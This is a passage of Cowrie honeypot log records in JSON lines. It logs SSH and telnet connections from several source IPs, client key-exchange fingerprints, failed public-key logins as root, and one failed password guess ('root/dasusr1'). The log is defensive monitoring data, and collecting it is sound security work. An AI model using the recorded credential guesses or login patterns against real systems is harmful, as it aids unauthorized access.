78:64:8a:73:a2:b0:81:f0:2d:a6:6c:ff:49:a0:7f:a4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:32.765060Z","src_ip":"185.134.49.179","session":"97a09ce6c30d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:64:8a:73:a2:b0:81:f0:2d:a6:6c:ff:49:a0:7f:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhNcisYNS04hj9GXzHuW8RtLTrFx/0N/KhCi6blSTvRb3mpxJ3zb7anS1kPFVkgZjsT+vogIeFTFkV48SpT3yGUTc7jUSb6uns0Dsf5P7PYJhG41uWbI/zSHLcSENS4vS2K+HX2aGvuJ7lNukDViDy8s6o9q5RAED41ZoEq9BcqpDfr0rsGfKzBbEze0YeUpQm1zga7TqEa4t/EaV6fsZPkXNChF/BvIs0FBCjF4PTQ8zPuKoqQaMLYIWpXhs84VLwHtqzAiQZ5Pu5aeUhmNS8UhmYx3iYPwYINMEiLY7tTfTGA11cXl3DjT70m1yiXnzmHoLuyw9i92kzTbXu/m2n","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:32.774809Z","src_ip":"185.134.49.179","session":"97a09ce6c30d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:64:9e:e8:6e:76:3b:b3:d0:6f:09:9a:f5:00:9b:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo2O+ZiOIQO3QQpWw/Orh+X3yY3xWD0XJTw+V54x3Mx5lD4jgrG8GQPrdIkcmDaqF5ASxd45H08IQ6cOPLCVejORSokgqH2ejw753ejig+chXaTu2B3ETyFWoN3dvJBw4784v+oYJwN89r7vtqBXlINeK7oNe5pN1JjbrYhighkXPPNpUzfGgDSpMs1HGlWgQWexgdXWn1An5ubG0qZ2zXbNJU8nPYizdQIw3+fOEKXs/P2qRVk/Qss66VKS6JD7Rdg7XCWYDJUGIxYYO5+DLFXCOz0ink/pPj4c9D/hyY3itGD8gTy2lLc7XAZe/LOVSpjVcNStTlgPBEYLCrG+Olw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1a:64:9e:e8:6e:76:3b:b3:d0:6f:09:9a:f5:00:9b:2a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:32.897267Z","src_ip":"185.134.49.179","session":"97a09ce6c30d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:64:9e:e8:6e:76:3b:b3:d0:6f:09:9a:f5:00:9b:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo2O+ZiOIQO3QQpWw/Orh+X3yY3xWD0XJTw+V54x3Mx5lD4jgrG8GQPrdIkcmDaqF5ASxd45H08IQ6cOPLCVejORSokgqH2ejw753ejig+chXaTu2B3ETyFWoN3dvJBw4784v+oYJwN89r7vtqBXlINeK7oNe5pN1JjbrYhighkXPPNpUzfGgDSpMs1HGlWgQWexgdXWn1An5ubG0qZ2zXbNJU8nPYizdQIw3+fOEKXs/P2qRVk/Qss66VKS6JD7Rdg7XCWYDJUGIxYYO5+DLFXCOz0ink/pPj4c9D/hyY3itGD8gTy2lLc7XAZe/LOVSpjVcNStTlgPBEYLCrG+Olw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:32.901684Z","src_ip":"185.134.49.179","session":"97a09ce6c30d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:c4:12:f6:87:f7:e7:7f:7b:12:dd:28:2d:8c:76:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsVzfbVrAyMelt2Ix9e1JQyFnR9tn1uYrlf2h0KdcbguSQKZ6DCi/ppum2HgNjjLc0/vSlHVy8KFdUQQjSI8D0LlWRTHwCgGjDxmlr5UkFDWA1U4YacmAUAoYbmeEoP2n22OZkRPL1y8iVwMUzTa5mvgvjja1g+6rVb0VHe6oLtx94z0Gnz8hU8yLJ9Gc2A6WsXvUfl90GE2g2ZMdugP9HnOSfABgb49y0f9k28+0GMDPJegCrGPwdIU67u3m6i3YhIi7LdhlckCzH1bDeaANc8dzoDXxGvckVKFf9Uuvw2v7k1Qdc8Yh0ws3kT9eaf7+IZ7c/Akwq0LoDFBW/GthD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a3:c4:12:f6:87:f7:e7:7f:7b:12:dd:28:2d:8c:76:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:33.025893Z","src_ip":"185.134.49.179","session":"97a09ce6c30d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:c4:12:f6:87:f7:e7:7f:7b:12:dd:28:2d:8c:76:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsVzfbVrAyMelt2Ix9e1JQyFnR9tn1uYrlf2h0KdcbguSQKZ6DCi/ppum2HgNjjLc0/vSlHVy8KFdUQQjSI8D0LlWRTHwCgGjDxmlr5UkFDWA1U4YacmAUAoYbmeEoP2n22OZkRPL1y8iVwMUzTa5mvgvjja1g+6rVb0VHe6oLtx94z0Gnz8hU8yLJ9Gc2A6WsXvUfl90GE2g2ZMdugP9HnOSfABgb49y0f9k28+0GMDPJegCrGPwdIU67u3m6i3YhIi7LdhlckCzH1bDeaANc8dzoDXxGvckVKFf9Uuvw2v7k1Qdc8Yh0ws3kT9eaf7+IZ7c/Akwq0LoDFBW/GthD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:33.030283Z","src_ip":"185.134.49.179","session":"97a09ce6c30d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:75:b9:8d:30:2f:1f:87:5c:bb:9e:9b:5b:59:24:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4FbckNgURQe6C3CEjsCJ0df8QZIac7taxzW/fM9PFAVgCBowvW1nI2uTl56igQjRTQtWZCpfOFdYkOWj9LXEbXBreugu2tDagqB43Rfr9hCQGrUhZMJfncsHelR69QaduTyMnwoi+NZyffX4l5dYtZ2w9LfH/hwA+7zDcXK8y+3S1edAXRYvfAWtFs1sueHNLeezC3v4z7ptXkGqCCuNwIZ0C5FKg1+y7vb3Tl4NS5XWl/n0B1q1iBdgmZYYTLYmgGs+HKcORRKZK7hdwyUc2QFhW/bD+p/p+XzHdytwpha5hZ+C8am16eeR+pPgBaInHsxhhke3HdmdX7Q2kmxwIw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:75:b9:8d:30:2f:1f:87:5c:bb:9e:9b:5b:59:24:63","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:33.154572Z","src_ip":"185.134.49.179","session":"97a09ce6c30d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:75:b9:8d:30:2f:1f:87:5c:bb:9e:9b:5b:59:24:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4FbckNgURQe6C3CEjsCJ0df8QZIac7taxzW/fM9PFAVgCBowvW1nI2uTl56igQjRTQtWZCpfOFdYkOWj9LXEbXBreugu2tDagqB43Rfr9hCQGrUhZMJfncsHelR69QaduTyMnwoi+NZyffX4l5dYtZ2w9LfH/hwA+7zDcXK8y+3S1edAXRYvfAWtFs1sueHNLeezC3v4z7ptXkGqCCuNwIZ0C5FKg1+y7vb3Tl4NS5XWl/n0B1q1iBdgmZYYTLYmgGs+HKcORRKZK7hdwyUc2QFhW/bD+p/p+XzHdytwpha5hZ+C8am16eeR+pPgBaInHsxhhke3HdmdX7Q2kmxwIw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:33.158629Z","src_ip":"185.134.49.179","session":"97a09ce6c30d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:33.282229Z","src_ip":"185.134.49.179","session":"97a09ce6c30d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.27643156051636,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:36.399390Z","src_ip":"208.92.193.123","session":"14f4a5c9db1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":55026,"dst_ip":"159.203.135.109","dst_port":23,"session":"49fba75ca68c","protocol":"telnet","message":"New connection: 69.6.249.0:55026 (159.203.135.109:23) [session: 49fba75ca68c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:40.562131Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.44.20.33","src_port":35260,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0dcd58d0b0c","protocol":"ssh","message":"New connection: 188.44.20.33:35260 (10.17.0.5:22) [session: d0dcd58d0b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:43.361969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:43.369749Z","src_ip":"188.44.20.33","session":"d0dcd58d0b0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:43.502445Z","src_ip":"188.44.20.33","session":"d0dcd58d0b0c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:67:a9:8c:30:14:6a:d7:8b:53:b6:91:86:b3:8f:fc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEqSJsioeJkAB5aO+smoPVI6fG8BxwLeQfmDKinwwpG6","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ec:67:a9:8c:30:14:6a:d7:8b:53:b6:91:86:b3:8f:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:44.131916Z","src_ip":"188.44.20.33","session":"d0dcd58d0b0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:67:a9:8c:30:14:6a:d7:8b:53:b6:91:86:b3:8f:fc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEqSJsioeJkAB5aO+smoPVI6fG8BxwLeQfmDKinwwpG6","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:44.135637Z","src_ip":"188.44.20.33","session":"d0dcd58d0b0c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:64:8a:73:a2:b0:81:f0:2d:a6:6c:ff:49:a0:7f:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhNcisYNS04hj9GXzHuW8RtLTrFx/0N/KhCi6blSTvRb3mpxJ3zb7anS1kPFVkgZjsT+vogIeFTFkV48SpT3yGUTc7jUSb6uns0Dsf5P7PYJhG41uWbI/zSHLcSENS4vS2K+HX2aGvuJ7lNukDViDy8s6o9q5RAED41ZoEq9BcqpDfr0rsGfKzBbEze0YeUpQm1zga7TqEa4t/EaV6fsZPkXNChF/BvIs0FBCjF4PTQ8zPuKoqQaMLYIWpXhs84VLwHtqzAiQZ5Pu5aeUhmNS8UhmYx3iYPwYINMEiLY7tTfTGA11cXl3DjT70m1yiXnzmHoLuyw9i92kzTbXu/m2n","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 78:64:8a:73:a2:b0:81:f0:2d:a6:6c:ff:49:a0:7f:a4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:44.265920Z","src_ip":"188.44.20.33","session":"d0dcd58d0b0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:64:8a:73:a2:b0:81:f0:2d:a6:6c:ff:49:a0:7f:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhNcisYNS04hj9GXzHuW8RtLTrFx/0N/KhCi6blSTvRb3mpxJ3zb7anS1kPFVkgZjsT+vogIeFTFkV48SpT3yGUTc7jUSb6uns0Dsf5P7PYJhG41uWbI/zSHLcSENS4vS2K+HX2aGvuJ7lNukDViDy8s6o9q5RAED41ZoEq9BcqpDfr0rsGfKzBbEze0YeUpQm1zga7TqEa4t/EaV6fsZPkXNChF/BvIs0FBCjF4PTQ8zPuKoqQaMLYIWpXhs84VLwHtqzAiQZ5Pu5aeUhmNS8UhmYx3iYPwYINMEiLY7tTfTGA11cXl3DjT70m1yiXnzmHoLuyw9i92kzTbXu/m2n","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:44.269623Z","src_ip":"188.44.20.33","session":"d0dcd58d0b0c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:64:9e:e8:6e:76:3b:b3:d0:6f:09:9a:f5:00:9b:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo2O+ZiOIQO3QQpWw/Orh+X3yY3xWD0XJTw+V54x3Mx5lD4jgrG8GQPrdIkcmDaqF5ASxd45H08IQ6cOPLCVejORSokgqH2ejw753ejig+chXaTu2B3ETyFWoN3dvJBw4784v+oYJwN89r7vtqBXlINeK7oNe5pN1JjbrYhighkXPPNpUzfGgDSpMs1HGlWgQWexgdXWn1An5ubG0qZ2zXbNJU8nPYizdQIw3+fOEKXs/P2qRVk/Qss66VKS6JD7Rdg7XCWYDJUGIxYYO5+DLFXCOz0ink/pPj4c9D/hyY3itGD8gTy2lLc7XAZe/LOVSpjVcNStTlgPBEYLCrG+Olw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1a:64:9e:e8:6e:76:3b:b3:d0:6f:09:9a:f5:00:9b:2a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:44.406523Z","src_ip":"188.44.20.33","session":"d0dcd58d0b0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:64:9e:e8:6e:76:3b:b3:d0:6f:09:9a:f5:00:9b:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo2O+ZiOIQO3QQpWw/Orh+X3yY3xWD0XJTw+V54x3Mx5lD4jgrG8GQPrdIkcmDaqF5ASxd45H08IQ6cOPLCVejORSokgqH2ejw753ejig+chXaTu2B3ETyFWoN3dvJBw4784v+oYJwN89r7vtqBXlINeK7oNe5pN1JjbrYhighkXPPNpUzfGgDSpMs1HGlWgQWexgdXWn1An5ubG0qZ2zXbNJU8nPYizdQIw3+fOEKXs/P2qRVk/Qss66VKS6JD7Rdg7XCWYDJUGIxYYO5+DLFXCOz0ink/pPj4c9D/hyY3itGD8gTy2lLc7XAZe/LOVSpjVcNStTlgPBEYLCrG+Olw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:44.409999Z","src_ip":"188.44.20.33","session":"d0dcd58d0b0c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:c4:12:f6:87:f7:e7:7f:7b:12:dd:28:2d:8c:76:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsVzfbVrAyMelt2Ix9e1JQyFnR9tn1uYrlf2h0KdcbguSQKZ6DCi/ppum2HgNjjLc0/vSlHVy8KFdUQQjSI8D0LlWRTHwCgGjDxmlr5UkFDWA1U4YacmAUAoYbmeEoP2n22OZkRPL1y8iVwMUzTa5mvgvjja1g+6rVb0VHe6oLtx94z0Gnz8hU8yLJ9Gc2A6WsXvUfl90GE2g2ZMdugP9HnOSfABgb49y0f9k28+0GMDPJegCrGPwdIU67u3m6i3YhIi7LdhlckCzH1bDeaANc8dzoDXxGvckVKFf9Uuvw2v7k1Qdc8Yh0ws3kT9eaf7+IZ7c/Akwq0LoDFBW/GthD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a3:c4:12:f6:87:f7:e7:7f:7b:12:dd:28:2d:8c:76:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:44.543886Z","src_ip":"188.44.20.33","session":"d0dcd58d0b0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a3:c4:12:f6:87:f7:e7:7f:7b:12:dd:28:2d:8c:76:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsVzfbVrAyMelt2Ix9e1JQyFnR9tn1uYrlf2h0KdcbguSQKZ6DCi/ppum2HgNjjLc0/vSlHVy8KFdUQQjSI8D0LlWRTHwCgGjDxmlr5UkFDWA1U4YacmAUAoYbmeEoP2n22OZkRPL1y8iVwMUzTa5mvgvjja1g+6rVb0VHe6oLtx94z0Gnz8hU8yLJ9Gc2A6WsXvUfl90GE2g2ZMdugP9HnOSfABgb49y0f9k28+0GMDPJegCrGPwdIU67u3m6i3YhIi7LdhlckCzH1bDeaANc8dzoDXxGvckVKFf9Uuvw2v7k1Qdc8Yh0ws3kT9eaf7+IZ7c/Akwq0LoDFBW/GthD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:44.548119Z","src_ip":"188.44.20.33","session":"d0dcd58d0b0c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:75:b9:8d:30:2f:1f:87:5c:bb:9e:9b:5b:59:24:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4FbckNgURQe6C3CEjsCJ0df8QZIac7taxzW/fM9PFAVgCBowvW1nI2uTl56igQjRTQtWZCpfOFdYkOWj9LXEbXBreugu2tDagqB43Rfr9hCQGrUhZMJfncsHelR69QaduTyMnwoi+NZyffX4l5dYtZ2w9LfH/hwA+7zDcXK8y+3S1edAXRYvfAWtFs1sueHNLeezC3v4z7ptXkGqCCuNwIZ0C5FKg1+y7vb3Tl4NS5XWl/n0B1q1iBdgmZYYTLYmgGs+HKcORRKZK7hdwyUc2QFhW/bD+p/p+XzHdytwpha5hZ+C8am16eeR+pPgBaInHsxhhke3HdmdX7Q2kmxwIw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:75:b9:8d:30:2f:1f:87:5c:bb:9e:9b:5b:59:24:63","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:44.685175Z","src_ip":"188.44.20.33","session":"d0dcd58d0b0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:75:b9:8d:30:2f:1f:87:5c:bb:9e:9b:5b:59:24:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4FbckNgURQe6C3CEjsCJ0df8QZIac7taxzW/fM9PFAVgCBowvW1nI2uTl56igQjRTQtWZCpfOFdYkOWj9LXEbXBreugu2tDagqB43Rfr9hCQGrUhZMJfncsHelR69QaduTyMnwoi+NZyffX4l5dYtZ2w9LfH/hwA+7zDcXK8y+3S1edAXRYvfAWtFs1sueHNLeezC3v4z7ptXkGqCCuNwIZ0C5FKg1+y7vb3Tl4NS5XWl/n0B1q1iBdgmZYYTLYmgGs+HKcORRKZK7hdwyUc2QFhW/bD+p/p+XzHdytwpha5hZ+C8am16eeR+pPgBaInHsxhhke3HdmdX7Q2kmxwIw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:44.689063Z","src_ip":"188.44.20.33","session":"d0dcd58d0b0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:44.823758Z","src_ip":"188.44.20.33","session":"d0dcd58d0b0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":40378,"dst_ip":"159.203.135.109","dst_port":23,"session":"7304180e9746","protocol":"telnet","message":"New connection: 69.6.249.0:40378 (159.203.135.109:23) [session: 7304180e9746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:57:47.479154Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":27207,"dst_ip":"159.203.135.109","dst_port":22,"session":"0709015318e1","protocol":"ssh","message":"New connection: 193.24.211.100:27207 (159.203.135.109:22) [session: 0709015318e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:58:04.549612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:58:04.558580Z","src_ip":"193.24.211.100","session":"0709015318e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:58:04.678228Z","src_ip":"193.24.211.100","session":"0709015318e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dasusr1","message":"login attempt [root/dasusr1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:58:05.108445Z","src_ip":"193.24.211.100","session":"0709015318e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:58:06.222048Z","src_ip":"193.24.211.100","session":"0709015318e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":12078,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8500b20efeb","protocol":"ssh","message":"New connection: 2.57.121.112:12078 (159.203.135.109:22) [session: f8500b20efeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:58:07.733195Z"}
